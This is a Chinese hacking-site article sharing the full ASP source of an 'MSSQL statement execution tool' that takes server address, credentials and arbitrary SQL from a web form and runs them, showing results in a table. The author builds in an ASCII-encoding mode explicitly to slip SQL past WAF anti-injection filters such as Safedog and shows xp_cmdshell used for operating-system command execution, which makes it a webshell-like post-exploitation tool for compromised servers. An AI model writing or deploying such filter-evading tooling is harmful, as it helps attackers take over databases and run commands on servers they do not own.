MSSQL语句执行工具asp版 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【meiwen.anslib.com - 电脑资料】

   

    之前自己网上找各种方法拼拼凑凑出来的一个脚本,目的是在asp环境下连接mssql并执行命令,

MSSQL语句执行工具asp版

    因为不是webshell所以不用考虑过狗不过狗,过不过WAF,安全狗之类的WAF是不会杀的。但我们要执行sql语句,势必要传递sql语句,传递sql语句的过程中可能被狗的防注入机制拦截(所谓的误杀),所以我又做了一个编码传递的方式,将待执行的SQL语句编码成ascii码再传递,这样就不会被WAF误杀了。

    程序的界面就是这样,简洁干净:

   

    如上图,执行结果用表格的形式显示出来。

    执行xp_cmdshell的效果如图:

   

    我一向是个不支持低版本浏览器的,所以我也没用低版本浏览器做测试,我只保证在chrome、firefox下可用。

    服务端我测试的环境是windows2003 + IIS6 + MSSQL 2005,其他环境自测。

    代码如下:

    001<%

    002''''''''''''''''''''''

    003' MSSQL语句执行工具asp版 by phithon

    004' blog: www.myhack58.com

    005'

    006''''''''''''''''''''''

    007showcss()

    008Dim Sql_serverip,Sql_linkport,Sql_username,Sql_password,Sql_database,Sql_content

    009

    010Sql_serverip=Trim(Request("Sql_serverip"))

    011Sql_linkport=Trim(Request("Sql_linkport"))

    012Sql_username=Trim(Request("Sql_username"))

    013Sql_password=Trim(Request("Sql_password"))

    014Sql_database=Trim(Request("Sql_database"))

    015Sql_content =Trim(Request("Sql_content"))

    016

    017If Sql_linkport="" Then Sql_linkport="1433"

    018

    019If Sql_serverip<>"" and Sql_linkport<>"" and Sql_username<>"" and Sql_password<>"" and Sql_content<>"" Then

    020if Request("method")="encode" then

    021dim sqlarr

    022sqlarr = Split(Sql_content, "\")

    023Sql_content = ""

    024for each x in sqlarr

    025if IsNumeric(x) then

    026Sql_content = Sql_content & chr(cint(x))

    027else

    028Sql_content = Sql_content & x

    029end if

    030next

    031end if

    032

    033Response.Write "


执行结果:
"

    034Dim SQL,conn,linkStr

    035SQL=Sql_content

    036

    037set conn=Server.createobject("adodb.connection")

    038If Len(Sql_database)=0 Then

    039linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password

    040Else

    041linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password & ";database=" & Sql_database

    042End If

    043conn.open linkStr

    044

    045' "Driver={SQL Server};SERVER=IP,黒吧安全网端口号;UID=sa;PWD=xxxx;DATABASE=DB"

    046' update [user] set [name]='admin' where uid=1

    047set rs = Server.CreateObject("ADODB.recordset")

    048rs.open SQL, conn

    049on error resume next

    050if err<>0 then

    051response.write "错误:"&err.Descripting

    052else

    053response.write Replace(SQL,vbcrlf,"
") & " 成功!

"

    054dim record

    055record = rs.fields.count

    056if record>0 then

    057dim i

    058i = 0 %>

    059

    060

    061<%for each x in rs.fields

    062response.write("" & x.name & "")

    063next%>

    064

    065<%do until rs.EOF%>

    066

    067<%for each x in rs.Fields%>

    068<%Response.Write(x.value)%>

    069<%next

    070rs.MoveNext%>

    071

    072<%loop%>

    073

    074<%

    075end if

    076rs.close

    077conn.close

    078

    079end if

    080Response.End

    081

    082End If

    083

    084If Request("do")<>"" Then

    085Response.Write "请填写数据库连接参数"

    086Response.End

    087End If

    088

    089Sub showcss()

    090%>

    091

    116<%

    117End Sub

    118

    119%>

    120

    121

    122 MSSQL语句执行工具asp版 -电脑资料

    144

    145

    146


    147

    148?do=exec" target="ResultFrame" id="submitf">

    149

    150

    151

    152

MSSQL语句执行工具asp版 by phithon

    153

    154

    155

    156

    157

    158数据库连接设置

    159SERVERIP:

    160LINKPORT:

    161USERNAME:

    162PASSWORD:

    163DATABASE:

    164

    165

    166

    167

    168style='

    169color: #990099;

    170background-color: #E6E6FA;

    171width: 100%;

    172height: 180px;

    173scrollbar-face-color: #DDA0DD;

    174scrollbar-shadow-color: #3D5054;

    175scrollbar-highlight-color: #C3D6DA;

    176scrollbar-3dlight-color: #3D5054;

    177scrollbar-darkshadow-color: #85989C;

    178scrollbar-track-color: #D8BFD8;

    179scrollbar-arrow-color: #E6E6FA;

    180'>

    181

    182

    183

    184

    185

    186

    187

    188

    189

    190

    191


    192

    193

    194

最新文章